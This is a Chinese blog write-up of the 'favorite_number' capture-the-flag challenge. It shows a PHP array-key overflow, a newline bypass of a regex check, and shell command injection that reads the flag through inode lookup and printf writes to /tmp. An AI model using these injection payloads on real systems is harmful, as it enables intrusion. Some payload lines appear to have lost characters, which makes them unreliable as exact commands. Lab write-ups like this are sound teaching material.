攻防世界favorite_number

版权声明:本文为CSDN博主「思源湖的鱼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44604541/article/details/109365511

解题过程

进入界面

在这里插入图片描述
简单的代码审计

首先是个判断,既要数组强等于,又要首元素不等
然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
最后是个黑名单,把常用的都排除了

这个绕过有点东西
第一个就头疼

想来想去
只能从溢出或者php5.5.9本身的漏洞去思考了

查了查
有数组的key溢出问题
参考:

PHP的信息安全(入侵获取$flag)的题目【Q2】
PHP数组的key溢出问题

于是得到payload

stuff[4294967296]=admin&stuff[1]=user&num=123

1

在这里插入图片描述
成功绕过第一个条件

然后是数字检测
查了查
跨行检测可以绕过
用换行符%0a

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

1

这里用hackbar失败了
就不是很明白
做题时头一疼

在这里插入图片描述
然后尝试用burp抓包
成功执行ls

在这里插入图片描述
成功绕过第二个条件

最后是命令执行
查了查

显示有如下的办法

在这里插入图片描述
我们可以用tac

文件则有两个比较好用的方法

方法1

用inode
索引节点

先寻找flag的inode

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

1

在这里插入图片描述

读取flag

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 20190647

1

在这里插入图片描述
成功得到flag

方法2

输出到文件里
然后执行文件

stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac tac /tmp/hello

1

在这里插入图片描述
得到flag

知识点

php5.5的数组key溢出
换行符绕过正则跨行匹配
inode绕过正则
文件输出绕过正则

————————————————
版权声明:本文为CSDN博主「思源湖的鱼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44604541/article/details/109365511

上一篇:Number质数


下一篇:DOS命令简单笔记